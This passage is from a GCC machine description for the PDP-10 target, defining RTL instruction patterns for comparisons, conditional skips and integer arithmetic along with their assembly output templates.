SIGNBIT))\n\t       (xor:SI (plus:SI (match_operand:SI 2 \"register_operand\" \"0\")\n\t\t\t\t(match_operand:SI 3 \"reg_or_mem_operand\" \"1\"))\n\t\t       (const_int SIGNBIT))))]\n  \"0\"\n  \"jfcl 17,.+1\\;add %0,%3\\;jcry0 .+2\\;%_tdza %0,%0\\;movei %0,1\")\n\n(define_insn \"*sccsi\"\n  [(set (match_operand:SI 0 \"register_operand\" \"=r,r\")\n\t(match_operator:SI 1 \"pdp10_comparison_operator\"\n\t [(match_operand:SI 2 \"reg_or_mem_operand\" \"r,rm\")\n\t  (match_operand:SI 3 \"general_operand\" \"rm,O\")]))]\n  \"\"\n  \"@\n   cam%1 %2,%3\\;%_tdza %0,%0\\;%_%_movei %0,1\n   skip%1 %@%2\\;%_tdza %0,%0\\;%_%_movei %0,1\"\n  [(set_attr \"length\" \"3\")])\n\n(define_insn \"*snesf\"\n  [(set (match_operand:SI 0 \"register_operand\" \"=r,x\")\n\t(ne:SI (match_operand:SF 1 \"reg_or_mem_operand\" \"0,rm\")\n\t       (match_operand:SF 2 \"immediate_operand\" \"R,R\")))]\n  \"\"\n  \"@\n   skipe %@%0\\;%_movei %0,1\n   skipe %0,%1\\;%_movei %0,1\"\n  [(set_attr \"length\" \"2\")])\n\n(define_insn \"*sltsf\"\n  [(set (match_operand:SI 0 \"register_operand\" \"=r\")\n\t(lt:SI (match_operand:SF 1 \"register_operand\" \"0\")\n\t       (match_operand:SF 2 \"immediate_operand\" \"R\")))]\n  \"\"\n  \"lsh %0,-43\")\n\n(define_insn \"*sgesf\"\n  [(set (match_operand:SI 0 \"register_operand\" \"=r\")\n\t(ge:SI (match_operand:SF 1 \"register_operand\" \"0\")\n\t       (match_operand:SF 2 \"immediate_operand\" \"R\")))]\n  \"\"\n  \"lsh %0,-43\\;xori %0,1\"\n  [(set_attr \"length\" \"2\")])\n\n(define_insn \"*sccsf\"\n  [(set (match_operand:SI 0 \"register_operand\" \"=r,r\")\n\t(match_operator:SI 1 \"pdp10_comparison_operator\"\n\t [(match_operand:SF 2 \"reg_or_mem_operand\" \"r,rm\")\n\t  (match_operand:SF 3 \"general_operand\" \"rm,R\")]))]\n  \"\"\n  \"@\n   cam%1 %2,%3\\;%_tdza %0,%0\\;%_%_movei %0,1\n   skip%1 %@%2\\;%_tdza %0,%0\\;%_%_movei %0,1\"\n  [(set_attr \"length\" \"3\")])\n\n(define_insn \"*snedf\"\n  [(set (match_operand:SI 0 \"register_operand\" \"=x\")\n\t(ne:SI (match_operand:DF 1 \"reg_or_mem_operand\" \"ro\")\n\t       (match_operand:DF 2 \"pdp10_const_double_0_operand\" \"\")))]\n  \"\"\n  \"skipn %@%1\\;%_skipe %0,%Z1\\;%_%_movei %0,1\"\n  [(set_attr \"length\" \"3\")])\n\n(define_insn \"*sltdf\"\n  [(set (match_operand:SI 0 \"register_operand\" \"=r\")\n\t(lt:SI (match_operand:DF 1 \"register_operand\" \"0\")\n\t       (match_operand:DF 2 \"immediate_operand\" \"R\")))]\n  \"\"\n  \"lsh %0,-43\")\n\n(define_insn \"*sgedf\"\n  [(set (match_operand:SI 0 \"register_operand\" \"=r\")\n\t(ge:SI (match_operand:DF 1 \"register_operand\" \"0\")\n\t       (match_operand:DF 2 \"immediate_operand\" \"R\")))]\n  \"\"\n  \"lsh %0,-43\\;xori %0,1\"\n  [(set_attr \"length\" \"2\")])\n\n;; (define_expand \"cmovsi6\" ...)\n;; (define_expand \"cmovsf6\" ...)\n\n;; Reload can't handle JUMP_INSNs (such as this one) with spilled\n;; register outputs.  Therefore, this pattern must have a memory\n;; alternative for operand 3.\n(define_insn \"*move_and_skipsi\"\n  [(set (pc)\n\t(if_then_else (match_operator 0 \"pdp10_comparison_operator\"\n\t\t       [(match_operand:SI 1 \"reg_or_mem_operand\" \"r,rm,r,m\")\n\t\t        (const_int 0)])\n\t (label_ref (match_operand 2 \"\" \"\"))\n\t (pc)))\n   ;; The predicate is \"preferably_register_operand\" so that memory\n   ;; operands are invalid until after register allocation.  The\n   ;; memory constraint is just there as a last resort when operand 3\n   ;; is spilled to stack.  The \"r\" constraint is there to allow\n   ;; accumulator 0.\n   (set (match_operand:SI 3 \"preferably_register_operand\" \"=1,x,rm,!rm\")\n\t(match_dup 1))]\n  \"\"\n  {\n    if (which_alternative == 0)\n      return \"jump%0 %1,%F2\";\n    pdp10_remove_unnecessary_label (insn, operands[2]);\n    switch (get_attr_length (insn))\n      {\n      case 1:\n\treturn \"skip%0 %3,%1\";\n      case 2:\n\tif (which_alternative == 2)\n\t  return \"movem %1,%3\\;jump%0 %1,%F2\";\n\telse if (REGNO (operands[3]) == 0)\n\t  return \"move %3,%1\\;jump%0 %3,%F2\";\n\telse\n\t  {\n\t    output_asm_insn (\"skip%R0 %3,%1\", operands);\n\t    return pdp10_output_jrst (operands[2]);\n\t  }\n      /* FIXME: is the use of a fixed scratch register avoidable?  */\n      case 3:\n\treturn \"move 0,%1\\;movem 0,%3\\;jump%0 0,%F2\";\n      default:\n\tabort ();\n      }\n  }\n  [(set (attr \"length\")\n\t(cond [(eq_attr \"alternative\" \"0\") (const_int 1)\n\t       (eq_attr \"alternative\" \"2\") (const_int 2)\n\t       (eq_attr \"alternative\" \"3\") (const_int 3)\n\t       (eq (minus (match_dup 2) (pc)) (const_int 1)) (const_int 1)]\n\t       (const_int 2)))\n   (set_attr \"skip\" \"yes\")])\n; (define_insn \"*move_and_skipsi\"\n;   [(set (pc)\n; \t(if_then_else (match_operator 0 \"pdp10_comparison_operator\"\n; \t\t       [(match_operand:SI 1 \"reg_or_mem_operand\" \"r,rm,rm\")\n; \t\t        (const_int 0)])\n; \t (label_ref (match_operand 2 \"\" \"\"))\n; \t (pc)))\n;    ;; The predicate is \"preferably_register_operand\" so that memory\n;    ;; operands are invalid until after register allocation.  The\n;    ;; memory constraint is just there as a last resort when operand 3\n;    ;; is spilled to stack.  The \"r\" constraint is there to allow\n;    ;; accumulator 0.\n;    (set (match_operand:SI 3 \"preferably_register_operand\" \"=1,x,!rm\")\n; \t(match_dup 1))]\n;   \"\"\n;   {\n;     if (which_alternative == 0)\n;       return \"jump%0 %1,%F2\";\n;     pdp10_remove_unnecessary_label (insn, operands[2]);\n;     switch (get_attr_length (insn))\n;       {\n;       case 1:\n; \treturn \"skip%0 %3,%1\";\n;       case 2:\n; \tif (REGNO (operands[3]) == 0)\n; \t  return \"move %3,%1\\;jump%0 %3,%F2\";\n; \telse\n; \t  {\n; \t    output_asm_insn (\"skip%R0 %3,%1\", operands);\n; \t    return pdp10_output_jrst (operands[2]);\n; \t  }\n;       /* FIXME: is the use of a fixed scratch register avoidable?  */\n;       case 3:\n; \treturn \"move 0,%1\\;movem 0,%3\\;jump%0 0,%F2\";\n;       default:\n; \tabort ();\n;       }\n;   }\n;   [(set (attr \"length\")\n; \t(cond [(eq_attr \"alternative\" \"0\") (const_int 1)\n; \t       (eq_attr \"alternative\" \"2\") (const_int 3)\n; \t       (eq (minus (match_dup 2) (pc)) (const_int 1)) (const_int 1)]\n; \t       (const_int 2)))\n;    (set_attr \"skip\" \"yes\")])\n\n;; Reload can't handle JUMP_INSNs (such as this one) with spilled\n;; register outputs.  Therefore, this pattern must have a memory\n;; alternative for operand 4.\n(define_insn \"*move_and_skipsf\"\n  [(set (pc)\n\t(if_then_else\n\t (match_operator 0 \"pdp10_comparison_operator\"\n\t  [(match_operand:SF 1 \"reg_or_mem_operand\" \"rm,rm,rm\")\n\t   (match_operand:SF 2 \"pdp10_const_double_0_operand\" \"\")])\n\t  (label_ref (match_operand 3 \"\" \"\"))\n\t  (pc)))\n   ;; The predicate is \"preferably_register_operand\" so that memory\n   ;; operands are invalid until after register allocation pass.  The\n   ;; memory constraint is just there as a last resort when operand 3\n   ;; is spilled to stack.  The \"r\" constraint is there to allow\n   ;; accumulator 0.\n   (set (match_operand:SF 4 \"preferably_register_operand\" \"=1,x,!rm\")\n\t(match_dup 1))]\n  \"\"\n  {\n    if (which_alternative == 0)\n      return \"jump%0 %1,%F3\";\n    pdp10_remove_unnecessary_label (insn, operands[3]);\n    switch (get_attr_length (insn))\n      {\n      case 1:\n\treturn \"skip%0 %4,%1\";\n      case 2:\n\tif (REGNO (operands[3]) == 0)\n\t  return \"move %4,%1\\;jump%0 %4,%F3\";\n\telse\n\t  {\n\t    output_asm_insn (\"skip%R0 %4,%1\", operands);\n\t    return pdp10_output_jrst (operands[3]);\n\t  }\n      /* FIXME: is the use of a fixed scratch register avoidable?  */\n      case 3:\n\treturn \"move 0,%1\\;movem 0,%4\\;jump%0 0,%F3\";\n      default:\n\tabort ();\n      }\n  }\n  [(set (attr \"length\")\n\t(cond [(eq_attr \"alternative\" \"0\") (const_int 1)\n\t       (eq_attr \"alternative\" \"2\") (const_int 3)\n\t       (eq (minus (match_dup 3) (pc)) (const_int 1)) (const_int 1)]\n\t       (const_int 2)))\n   (set_attr \"skip\" \"yes\")])\n\n\f\n;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;\n;; Integer Arithmetic\n\n(define_expand \"addsi3\"\n  [(set (match_operand:SI 0 \"reg_or_mem_operand\" \"\")\n\t(plus:SI (match_operand:SI 1 \"reg_or_mem_operand\" \"\")\n\t\t (match_operand:SI 2 \"general_operand\" \"\")))]\n  \"\"\n  ;; Make sure that for a MEM + x, x can only be a register or +/-1.\n  \"if (memory_operand (operands[1], SImode)\n       && !(register_operand (operands[2], SImode)\n\t    || (const_int_operand (operands[2], SImode)\n\t\t&& (INTVAL (operands[2]) == 1 || INTVAL (operands[2]) == -1))))\n     operands[2] = force_reg (SImode, operands[2]);\")\n\n(define_insn \"*addsi3\"\n  [(set (match_operand:SI 0 \"reg_or_mem_operand\" \"=r,r,r,r,r,m,m,m\")\n\t(plus:SI (match_operand:SI 1 \"reg_or_mem_operand\" \"%0,0,0,r,0,0,0,0\")\n\t\t ;; ADDRESS: an S constraint for the addi case would allow\n\t\t ;; a symbol.\n\t\t (match_operand:SI 2 \"general_operand\" \"rm,I,J,S,i,r,Q,M\")))]\n  \"\"\n;  ;; Make sure that for a MEM + x, x can only be a register or +/-1.\n;  \"!(memory_operand (operands[1], SImode)\n;     && !(register_operand (operands[2], SImode)\n;\t  || (const_int_operand (operands[2], SImode)\n;\t      && (INTVAL (operands[2]) == 1 || INTVAL (operands[2]) == -1))))\"\n  \"@\n   add %0,%2\n   addi %0,%2\n   subi %0,%N2\n   xmovei %0,%2(%1)\n   add %0,[%X2]\n   addm %2,%0\n   aos %@%0\n   sos %@%0\")\n\n(define_insn \"*ADDI_reg\"\n  [(set (match_operand:SI 0 \"register_operand\" \"=r\")\n\t(plus:SI (and:SI (match_operand:SI 1 \"register_operand\" \"x\")\n\t\t\t (const_int RIGHT_HALF))\n\t\t (match_operand:SI 2 \"register_operand\" \"0\")))]\n  \"\"\n  \"addi %0,(%1)\")\n(define_insn \"*ADDI_const_plus_reg\"\n  [(set (match_operand:SI 0 \"register_operand\" \"=r\")\n\t(plus:SI (and:SI (plus:SI (match_operand:SI 1 \"register_operand\" \"x\")\n\t\t\t\t  (match_operand:SI 2 \"const_int_operand\" \"I\"))\n\t\t\t (const_int RIGHT_HALF))\n\t\t (match_operand:SI 3 \"register_operand\" \"0\")))]\n  \"pdp10_const_ok_for_letter_p (INTVAL (operands[2]), 'I')\"\n  \"addi %0,%2(%1)\")\n\n(define_insn \"*ADDB1\"\n  [(set (match_operand:SI 0 \"memory_operand\" \"+m\")\n\t(plus:SI (match_dup 0) (match_operand:SI 1 \"register_operand\" \"r\")))\n   (set (match_operand:SI 2 \"register_operand\" \"=1\")\n\t(plus:SI (match_dup 0) (match_dup 1)))]\n  \"\"\n  \"addb %1,%0\")\n(define_insn \"*ADDB2\"\n  [(set (match_operand:SI 0 \"memory_operand\" \"+m\")\n\t(plus:SI (match_operand:SI 1 \"register_operand\" \"r\") (match_dup 0)))\n   (set (match_operand:SI 2 \"register_operand\" \"=1\")\n\t(plus:SI (match_dup 1) (match_dup 0)))]\n  \"\"\n  \"addb %1,%0\")\n\n(define_insn \"*AOS_and_move\"\n  [(set (match_operand:SI 0 \"reg_or_mem_operand\" \"+rm\")\n\t(plus:SI (match_dup 0) (const_int 1)))\n   (set (match_operand:SI 1 \"register_operand\" \"=x\")\n\t(plus:SI (match_dup 0) (const_int 1)))]\n  \"\"\n  \"aos %1,%0\")\n\n(define_expand \"adddi3\"\n  [(set (match_operand:DI 0 \"register_operand\" \"\")\n\t(plus:DI (match_operand:DI 1 \"register_operand\" \"\")\n\t\t (match_operand:DI 2 \"general_operand\" \"\")))]\n  \"TARGET_KL10up && TARGET_71BIT\"\n  \"\")\n\n(define_insn \"*adddi3\"\n  [(set (match_operand:DI 0 \"reg_or_mem_operand\" \"=r,r,r,r,o,o,o\")\n\t(plus:DI (match_operand:DI 1 \"reg_or_mem_operand\" \"%0,0,0,0,0,0,0\")\n\t\t (match_operand:DI 2 \"general_operand\" \"ro,I,J,i,r,Q,M\")))]\n  \"0 && !TARGET_71BIT\"\n  \"@\n   jfcl 17,.+1\\;add %Z0,%Z2\\;jcry0 [aoja %0,.+1]\\;add %0,%2\n   jfcl 17,.+1\\;addi %Z0,%2\\;jcry0 [aoja %0,.+1]\n   jfcl 17,.+1\\;subi %Z0,%N2\\;jcry0 .+2\\;%_subi %0,1\n   jfcl 17,.+1\\;add %Z0,[%B2]\\;jcry0 [aoja %0,.+1]\\;add %0,[%A2]\n   jfcl 17,.+1\\;addm %Z2,%Z0\\;jcry0 [aos %0\\;jrst .+1]\\;add %2,%0\n   jfcl 17,.+1\\;aos %Z0\\;jcry0 [aos %0\\;jrst .+1]\\;aos %0\n   jfcl 17,.+1\\;sos %Z0\\;jcry0 .+2\\;sos %0\\;sos %0\"\n  [(set_attr \"length\" \"4,3,4,4,4,4,5\")])\n\n(define_insn \"*DADD\"\n  [(set (match_operand:DI 0 \"register_operand\" \"=r,r\")\n\t(plus:DI (match_operand:DI 1 \"register_operand\" \"%0,0\")\n\t\t (match_operand:DI 2 \"general_operand\" \"rm,i\")))]\n  \"TARGET_71BIT && TARGET_KL10up\"\n  \"@\n   dadd %0,%2\n   dadd %0,[%D2]\")\n\n(define_expand \"subsi3\"\n  [(set (match_operand:SI 0 \"reg_or_mem_operand\" \"\")\n\t(minus:SI (match_operand:SI 1 \"register_operand\" \"\")\n\t\t  (match_operand:SI 2 \"general_operand\" \"\")))]\n  \"\"\n  \"if (!register_operand (operands[1], SImode))\n     operands[1] = force_reg (SImode, operands[1]);\")\n\n(define_insn \"*subsi3\"\n  [(set (match_operand:SI 0 \"reg_or_mem_operand\" \"=r,m\")\n\t(minus:SI (match_operand:SI 1 \"register_operand\" \"0,r\")\n\t\t  (match_operand:SI 2 \"general_operand\" \"rm,0\")))]\n  \"\"\n  \"@\n   sub %0,%2\n   subm %1,%0\")\n\n(define_insn \"*SUBI_reg\"\n  [(set (match_operand:SI 0 \"register_operand\" \"=r\")\n\t(minus:SI (match_operand:SI 1 \"register_operand\" \"0\")\n\t\t  (and:SI (match_operand:SI 2 \"register_operand\" \"x\")\n\t\t\t  (const_int RIGHT_HALF))))]\n  \"\"\n  \"subi %0,(%2)\")\n(define_insn \"*SUBI_const_plus_reg\"\n  [(set (match_operand:SI 0 \"register_operand\" \"=r\")\n\t(minus:SI (match_operand:SI 1 \"register_operand\" \"0\")\n\t\t  (and:SI (plus:SI\n\t\t\t   (match_operand:SI 2 \"register_operand\" \"x\")\n\t\t\t   (match_operand:SI 3 \"const_int_operand\" \"I\"))\n\t\t (const_int RIGHT_HALF))))]\n  \"pdp10_const_ok_for_letter_p (INTVAL (operands[3]), 'I')\"\n  \"subi %0,%3(%2)\")\n\n(define_insn \"*SUBB\"\n  [(set (match_operand:SI 0 \"memory_operand\" \"+m\")\n\t(minus:SI (match_operand:SI 1 \"register_operand\" \"r\") (match_dup 0)))\n   (set (match_operand:SI 2 \"register_operand\" \"=1\")\n\t(minus:SI (match_dup 1) (match_dup 0)))]\n  \"\"\n  \"subb %1,%0\")\n\n(define_insn \"*SOS_and_move\"\n  [(set (match_operand:SI 0 \"reg_or_mem_operand\" \"+rm\")\n\t(plus:SI (match_dup 0) (const_int -1)))\n   (set (match_operand:SI 1 \"register_operand\" \"=x\")\n\t(plus:SI (match_dup 0) (const_int -1)))]\n  \"\"\n  \"sos %1,%0\")\n\n(define_expand \"subdi3\"\n  [(set (match_operand:DI 0 \"register_operand\" \"\")\n\t(minus:DI (match_operand:DI 1 \"register_operand\" \"\")\n\t\t  (match_operand:DI 2 \"general_operand\" \"\")))]\n  \"TARGET_KL10up && TARGET_71BIT\"\n  \"\")\n\n(define_insn \"*subdi3\"\n  [(set (match_operand:DI 0 \"register_operand\" \"=r,o\")\n\t(minus:DI (match_operand:DI 1 \"register_operand\" \"%0,0\")\n\t\t  (match_operand:DI 2 \"reg_or_mem_operand\" \"ro,r\")))]\n  \"0 && !TARGET_71BIT\"\n  \"@\n   jfcl 17,.+1\\;sub %Z0,%Z2\\;jcry0 .+2\\;%_subi %0,1\\;sub %0,%2\n   jfcl 17,.+1\\;subm %Z2,%Z0\\;jcry0 .+2\\;%_sos %0\\;subm %2,%0\"\n  [(set_attr \"length\" \"5,5\")])\n\n(define_insn \"*DSUB\"\n  [(set (match_operand:DI 0 \"register_operand\" \"=r,r\")\n\t(minus:DI (match_operand:DI 1 \"register_operand\" \"0,0\")\n\t\t  (match_operand:DI 2 \"reg_or_mem_operand\" \"rm,i\")))]\n  \"TARGET_71BIT && TARGET_KL10up\"\n  \"@\n   dsub %0,%2\n   dsub %0,[%D2]\")\n\n(define_insn \"mulsi3\"\n  [(set (match_operand:SI 0 \"reg_or_mem_operand\" \"=r,r,r,m\")\n\t(mult:SI (match_operand:SI 1 \"reg_or_mem_operand\" \"%0,0,0,0\")\n\t\t (match_operand:SI 2 \"general_operand\" \"rm,I,i,r\")))]\n  \"\"\n  \"@\n   imul %0,%2\n   imuli %0,%2\n   imul %0,[%2]\n   imulm %2,%0\")\n\n(define_insn \"*IMULI_reg\"\n  [(set (match_operand:SI 0 \"register_operand\" \"=r\")\n\t(mult:SI (and:SI (match_operand:SI 1 \"register_operand\" \"x\")\n\t\t\t (const_int RIGHT_HALF))\n\t\t (match_operand:SI 2 \"register_operand\" \"0\")))]\n  \"\"\n  \"imuli %0,(%1)\")\n(define_insn \"*IMULI_const_plus_reg\"\n  [(set (match_operand:SI 0 \"register_operand\" \"=r\")\n\t(mult:SI (and:SI (plus:SI (match_operand:SI 1 \"register_operand\" \"x\")\n\t\t\t\t  (match_operand:SI 2 \"const_int_operand\" \"I\"))\n\t\t\t (const_int RIGHT_HALF))\n\t\t (match_operand:SI 3 \"register_operand\" \"0\")))]\n  \"pdp10_const_ok_for_letter_p (INTVAL (operands[2]), 'I')\"\n  \"imuli %0,%2(%1)\")\n\n(define_insn \"*IMULB1\"\n  [(set (match_operand:SI 0 \"memory_operand\" \"+m\")\n\t(mult:SI (match_dup 0) (match_operand:SI 1 \"register_operand\" \"r\")))\n   (set (match_operand:SI 2 \"register_operand\" \"=1\")\n\t(mult:SI (match_dup 0) (match_dup 1)))]\n  \"\"\n  \"imulb %1,%0\")\n(define_insn \"*IMULB2\"\n  [(set (match_operand:SI 0 \"memory_operand\" \"+m\")\n\t(mult:SI (match_operand:SI 1 \"register_operand\" \"r\") (match_dup 0)))\n   (set (match_operand:SI 2 \"register_operand\" \"=1\")\n\t(mult:SI (match_dup 1) (match_dup 0)))]\n  \"\"\n  \"imulb %1,%0\")\n\n(define_expand \"mulsidi3\"\n  [(set (match_operand:DI 0 \"register_operand\" \"\")\n\t(mult:DI\n\t (sign_extend:DI (match_operand:SI 1 \"register_operand\" \"\"))\n\t (sign_extend:DI (match_operand:SI 2 \"general_operand\" \"\"))))]\n  \"TARGET_71BIT\"\n  \"\")\n\n(define_insn \"*mulsidi3\"\n  [(set (match_operand:DI 0 \"register_operand\" \"=r,r,r\")\n\t(mult:DI\n\t (sign_extend:DI (match_operand:SI 1 \"register_operand\" \"%0,0,0\"))\n\t (sign_extend:DI (match_operand:SI 2 \"general_operand\" \"rm,I,i\"))))]\n  \"TARGET_71BIT\"\n  \"@\n   mul %0,%2\n   muli %0,%2\n   mul %0,[%2]\")\n\n(define_insn \"MUL\"\n  [(set (match_operand:DI 0 \"register_operand\" \"=r,r,r\")\n\t(unspec:DI\n\t [(sign_extend:DI (match_operand:SI 1 \"register_operand\" \"%0,0,0\"))\n\t  (sign_extend:DI (match_operand:SI 2 \"general_operand\" \"rm,I,i\"))]\n\t UNSPEC_MUL71))]\n  \"\"\n  \"@\n   mul %0,%2\n   muli %0,%2\n   mul %0,[%2]\")\n\n(define_expand \"smulsi3_highpart\"\n  [(set (match_dup 3)\n\t(truncate:SI\n\t (lshiftrt:DI\n\t  (mult:DI\n\t   (sign_extend:DI (match_operand:SI 1 \"register_operand\" \"%r\"))\n\t   (sign_extend:DI (match_operand:SI 2 \"reg_or_mem_operand\" \"0\")))\n\t  (const_int 35))))\n   (set (match_operand:SI 0 \"reg_or_mem_operand\" \"=rm\")\n\t(ashiftrt:SI (match_dup 3) (neg:SI (const_int -1))))]\n  \"0\"\n  \"operands[3] = gen_reg_rtx (SImode);\")\n\n(define_insn \"*smulsi3_highpart\"\n  [(set (match_operand:SI 0 \"register_operand\" \"=r\")\n\t(truncate:SI\n\t (lshiftrt:DI\n\t  (mult:DI\n\t   (sign_extend:DI (match_operand:SI 1 \"register_operand\" \"%0\"))\n\t   (sign_extend:DI (match_operand:SI 2 \"register_operand\" \"r\")))\n\t  (const_int 36))))]\n  \"0\"\n  \"jfcl .+1\\;mulm %2,%0\\;jov [movsi %0,200000\\;%_%_%_%_%_jrst .+2]\\;ash %0,-1\"\n  [(set_attr \"length\" \"4\")])\n\n(define_insn \"*smulsi3_highpart_71\"\n  [(set (match_operand:SI 0 \"reg_or_mem_operand\" \"=rm\")\n\t(truncate:SI\n\t (lshiftrt:DI\n\t  (mult:DI\n\t   (sign_extend:DI (match_operand:SI 1 \"register_operand\" \"%r\"))\n\t   (sign_extend:DI (match_operand:SI 2 \"reg_or_mem_operand\" \"0\")))\n\t  (const_int 35))))]\n  \"0\"\n  \"mulm %1,%0\")\n\n(define_expand \"muldi3\"\n  [(set (match_operand:DI 0 \"register_operand\" \"\")\n\t(mult:DI (match_operand:DI 1 \"register_operand\" \"\")\n\t\t (match_operand:DI 2 \"reg_or_mem_operand\" \"\")))]\n  \"0\"\n  \"{\n     rtx temp = gen_reg_rtx (TImode);\n\n     emit_move_insn (gen_rtx_SUBREG (DImode, temp, 0), operands[1]);\n     emit_insn (gen_DMUL (temp, gen_rtx_SUBREG (DImode, temp, 8),\n\t\t\t  operands[2]));\n     emit_insn (gen_ashlsi3 (gen_rtx_SUBREG (SImode, temp, 8),\n\t\t\t     gen_rtx_SUBREG (SImode, temp, 8),\n\t\t\t     GEN_INT (1)));\n     emit_insn (gen_lshrdi3 (gen_rtx_SUBREG (DImode, temp, 4),\n\t\t\t     gen_rtx_SUBREG (DImode, temp, 4),\n\t\t\t     GEN_INT (1)));\n     emit_insn (gen_ashlsi3 (gen_rtx_SUBREG (SImode, temp, 12),\n\t\t\t     gen_rtx_SUBREG (SImode, temp, 12),\n\t\t\t     GEN_INT (1)));\n     emit_insn (gen_lshrdi3 (gen_rtx_SUBREG (DImode, temp, 8),\n\t\t\t     gen_rtx_SUBREG (DImode, temp, 8),\n\t\t\t     GEN_INT (1)));\n     emit_insn (gen_TRNE_TLO (gen_rtx_SUBREG (SImode, temp, 8),\n\t\t\t      gen_rtx_SUBREG (SImode, temp, 8),\n\t\t\t      gen_rtx_SUBREG (SImode, temp, 12)));\n\t\t\t\t\n     DONE;\n   }\")\n\n(define_insn \"TRNE_TLO\"\n  [(set (match_operand:SI 0 \"register_operand\" \"=r\")\n\t(unspec:SI [(match_operand:SI 1 \"register_operand\" \"0\")\n\t\t    (match_operand:SI 2 \"register_operand\" \"r\")]\n\t\t   UNSPEC_TRNE_TLO))]\n  \"\"\n  \"trne %2,1\\;%_tlo %0,400000\"\n  [(set_attr \"length\" \"2\")])\n\n(define_expand \"mulditi3\"\n  [(set (match_operand:TI 0 \"register_operand\" \"=r,r\")\n\t(mult:TI\n\t (sign_extend:TI (match_operand:DI 1 \"register_operand\" \"%0,0\"))\n\t (sign_extend:TI (match_operand:DI 2 \"general_operand\" \"rm,i\"))))]\n  \"TARGET_71BIT && TARGET_KL10up\"\n  \"\")\n\n(define_insn \"DMUL\"\n  [(set (match_operand:TI 0 \"register_operand\" \"=r,r\")\n\t(mult:TI\n\t (sign_extend:TI (match_operand:DI 1 \"register_operand\" \"%0,0\"))\n\t (sign_extend:TI (match_operand:DI 2 \"general_operand\" \"rm,i\"))))]\n  \"TARGET_71BIT && TARGET_KL10up\"\n  \"@\n   dmul %0,%2\n   dmul %0,[%D2]\")\n\n(define_insn \"IDIV\"\n  [(set (subreg:SI (match_operand:DI 0 \"register_operand\" \"=r,r,r\") 0)\n        (div:SI (match_operand:SI 1 \"register_operand\" \"0,0,0\")\n                (match_operand:SI 2 \"general_operand\" \"rm,I,i\")))\n   (set (subreg:SI (match_dup 0) 4)\n        (mod:SI (match_dup 1) (match_dup 2)))]\n  \"\"\n  \"@\n   idiv %0,%2\n   idivi %0,%2\n   idiv %0,[%2]\")\n\n(define_insn \"IDIVM\"\n  [(set (match_operand:SI 0 \"reg_or_mem_operand\" \"=rm\")\n        (div:SI (match_operand:SI 1 \"register_operand\" \"r\")\n                (match_operand:SI 2 \"reg_or_mem_operand\" \"0\")))]\n  \"\"\n  \"idivm %1,%0\")\n\n;; IDIVI with indexing missing.\n;; IDIVB missing.\n\n(define_expand \"divsi3\"\n  [(set (match_operand:SI 0 \"reg_or_mem_operand\" \"\")\n\t(div:SI (match_operand:SI 1 \"register_operand\" \"\")\n\t\t(match_operand:SI 2 \"general_operand\" \"\")))]\n  \"\"\n  \"if (immediate_operand (operands[2], SImode))\n     {\n       rtx temp = gen_reg_rtx (DImode);\n       rtx temp0 = gen_rtx_SUBREG (SImode, temp, 0);\n\n       emit_move_insn (temp0, operands[1]);\n       emit_insn (gen_IDIV (temp, temp0, operands[2]));\n       emit_move_insn (operands[0], temp0);\n     }\n   else\n     emit_insn (gen_IDIVM (operands[0], operands[1], operands[2]));\n   DONE;\")\n\n(define_expand \"modsi3\"\n  [(set (match_operand:SI 0 \"register_operand\" \"\")\n\t(mod:SI (match_operand:SI 1 \"register_operand\" \"\")\n\t\t(match_operand:SI 2 \"general_operand\" \"\")))]\n  \"\"\n  \"{\n     rtx temp = gen_reg_rtx (DImode);\n     rtx temp0 = gen_rtx_SUBREG (SImode, temp, 0);\n     rtx temp1 = gen_rtx_SUBREG (SImode, temp, 4);\n\n     emit_move_insn (temp0, operands[1]);\n     emit_insn (gen_IDIV (temp, temp0, operands[2]));\n     emit_move_insn (operands[0], temp1);\n     DONE;\n   }\")\n\n;; This is disabled, since it doesn't seem to have any advantages over\n;; the `divsi3' and `modsi3' patterns.\n(define_expand \"_divmodsi4\"\n  [(parallel [(set (match_operand:SI 0 \"reg_or_mem_operand\" \"\")\n\t\t   (div:SI (match_operand:SI 1 \"reg_or_mem_operand\" \"\")\n\t\t\t   (match_operand:SI 2 \"general_operand\" \"\")))\n\t      (set (match_operand:SI 3 \"reg_or_mem_operand\" \"\")\n\t\t   (mod:SI (match_dup 1) (match_dup 2)))])]\n  \"0\"\n  \"{\n     rtx temp = gen_reg_rtx (DImode);\n     rtx temp0 = gen_rtx_SUBREG (SImode, temp, 0);\n     rtx temp1 = gen_rtx_SUBREG (SImode, temp, 4);\n\n     emit_move_insn (temp0, operands[1]);\n     emit_insn (gen_IDIV (temp, temp0, operands[2]));\n     emit_move_insn (operands[0], temp0);\n     emit_move_insn (operands[3], temp1);\n     DONE;\n   }\")\n\n(define_insn \"*DIV\"\n  [(set (subreg:SI (match_operand:DI 0 \"register_operand\" \"=r,r,r\") 0)\n        (truncate:SI\n\t (div:DI\n\t  (match_operand:DI 1 \"register_operand\" \"0,0,0\")\n\t  (sign_extend:DI (match_operand:SI 2 \"general_operand\" \"rm,I,i\")))))\n   (set (subreg:SI (match_dup 0) 4)\n        (truncate:SI (mod:DI (match_dup 1) (sign_extend:DI (match_dup 2)))))]\n  \"TARGET_71BIT\"\n  \"@\n   div %0,%2\n   divi %0,%2\n   div %0,[%D2]\")\n\n(define_insn \"*DIVM\"\n  [(set (match_operand:SI 0 \"reg_or_mem_operand\" \"=rm\")\n\t(truncate:SI\n\t (div:DI\n\t  (match_operand:DI 1 \"register_operand\" \"r\")\n\t  (sign_extend:DI (match_operand:SI 2 \"memory_operand\" \"0\")))))]\n  \"TARGET_71BIT\"\n  \"divm %1,%0\")\n\n;; DIVB missing.\n\n(define_insn \"DDIV\"\n  [(set (subreg:DI (match_operand:TI 0 \"register_operand\" \"=r,r\") 0)\n        (truncate:DI\n\t (div:TI\n\t  (match_operand:TI 1 \"register_operand\" \"0,0\")\n\t  (sign_extend:TI (match_operand:DI 2 \"general_operand\" \"rm,i\")))))\n   (set (subreg:DI (match_dup 0) 8)\n        (truncate:DI (mod:TI (match_dup 1) (sign_extend:TI (match_dup 2)))))]\n  \"TARGET_71BIT\"\n  \"@\n   ddiv %0,%2\n   ddiv %0,[%D2]\")\n\n(define_expand \"divmoddi4\"\n  [(parallel [(set (match_operand:DI 0 \"reg_or_mem_operand\" \"\")\n\t\t   (div:DI (match_operand:DI 1 \"register_operand\" \"\")\n\t\t\t   (match_operand:DI 2 \"general_operand\" \"\")))\n\t      (set (match_operand:DI 3 \"register_operand\" \"\")\n\t\t 